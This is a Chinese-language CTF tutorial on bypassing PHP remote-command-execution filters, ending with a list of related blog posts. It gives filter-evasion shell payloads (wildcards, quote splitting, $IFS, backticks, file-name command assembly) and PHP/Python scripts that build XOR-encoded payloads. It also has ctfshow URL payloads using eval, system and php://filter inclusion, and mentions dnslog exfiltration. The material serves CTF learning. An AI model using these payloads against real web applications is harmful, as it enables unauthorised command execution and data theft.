RCE绕过及ctf多种玩法

RCE

推荐在线生成反弹shell的网站

[~]#棱角 ::Edge.Forum*

代码执行

PHP 代码执行函数:

eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort ()

命令执行

PHP 命令执行函数:

system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen ()、passthru()等

绕过

关键词过滤

1、过滤flag关键字

利用通配符

cat fl* 匹配文件名前两位为fl的文件

cat ?l* 匹配文件名第一位随机,第二位为l的文件

2、转义符号、空变量( ∗ 、 *、 ∗、@、 x 、 x、 x、{x})

shell 复制代码
c\at f\lag.txt

cat fl''ag.txt

c'a't flag.txt
shell 复制代码
ca$*t fl$*ag.txt
ca$@t fl$@ag.txt
ca$3t fl$3ag.txt
ca${v}t fl${v}ag.txt

3、拼接法

shell 复制代码
a=f;b=lag;c=.txt;cat$IFS$a$b$c;

$IFS 等于空格

4、反引号

反引号在linux中代表命令执行

shell 复制代码
cat `ls` //查看目录下所有文件

5、编码

将被过滤的地方编码 然后利用解码命令执行

6、组合绝活

shell 复制代码
touch "g.txt"

touch "fla\\"

touch "t \\"

touch "ca\\"

ls -t > shell  //-t 按照时间排序

sh shell

7、异或无符号

例如下题,过滤掉所有字符了

将正则放进代码修改运行即可

php 复制代码
<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) {

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
            echo "";
        }

        else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)^urldecode($b));
            if (ord($c)>=32&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }

    }
}
fwrite($myfile,$contents);
fclose($myfile);

生成txt后,使用下列python代码构造payload

python 复制代码
import requests
import urllib
from sys import *
import os


def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("xor_rce.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    print(param)

命令过滤

过滤cat

more:一页一页的显示档案内容

less:与 more 类似

head:查看头几行

tac:从最后一行开始显示,可以看出tac是cat的反向显示tai1:查看尾几行

nl:显示的时候,顺便输出行号

od:以二进制的方式读取档案内容

vi:一种编辑器,这个也可以查看

vim:一种编辑器,这个也可以查看

sort:可以查看

uniq:可以查看

file -f:报错出具体内容

sh /flag.txt //报错出文件内容

curl file:///root/f/flag

strings flag

uniq -c flag

bash -v flag

rev flag

空格过滤

%09(url传递)(cat%09flag.txt)

cat${IFS}flag.txt

a=flag;b=.txt;cat I F S IFS IFSa$b;

{cat,flag.txt}

无回显利用

1、直接写个文件看能否访问

2、直接进行对外访问(dnslog数据外带)

ctf多种玩法

参数逃逸

ctfshow-web31

?c=eval($_GET["aa"]);&aa=system("sort+flag.php");

rce转文件包含伪协议

ctfshow-web32

?c=include$_GET["code"]?>&code=php://filter/read=convert.base64-encode/resource=flag.php

?>在这里的作用是为了使得&code=被当作参数,而不是php代码执行

相关推荐
Caliy_19 分钟前
玄机-应急响应- Linux入侵排查
网络安全
白帽AxisX28 分钟前
内存马浅析
web安全·内存马
网安kk2 小时前
2024年三个月自学手册 网络安全(黑客技术)
网络·学习·安全·web安全·网络安全
白总Server2 小时前
Gateway解说
服务器·网络·数据库·web安全·架构·php·idc
kuber09093 小时前
网站安全,WAF网站保护暴力破解
网络安全
lemon23qq3 小时前
网站安全,WAF网站保护暴力破解
网络安全
guguge1123 小时前
网站安全,WAF网站保护暴力破解
网络安全
zushy113 小时前
网站安全,WAF网站保护暴力破解
网络安全
网安kk4 小时前
2024年三个月自学进阶手册 网络安全(黑客技术)
网络·人工智能·安全·web安全·网络安全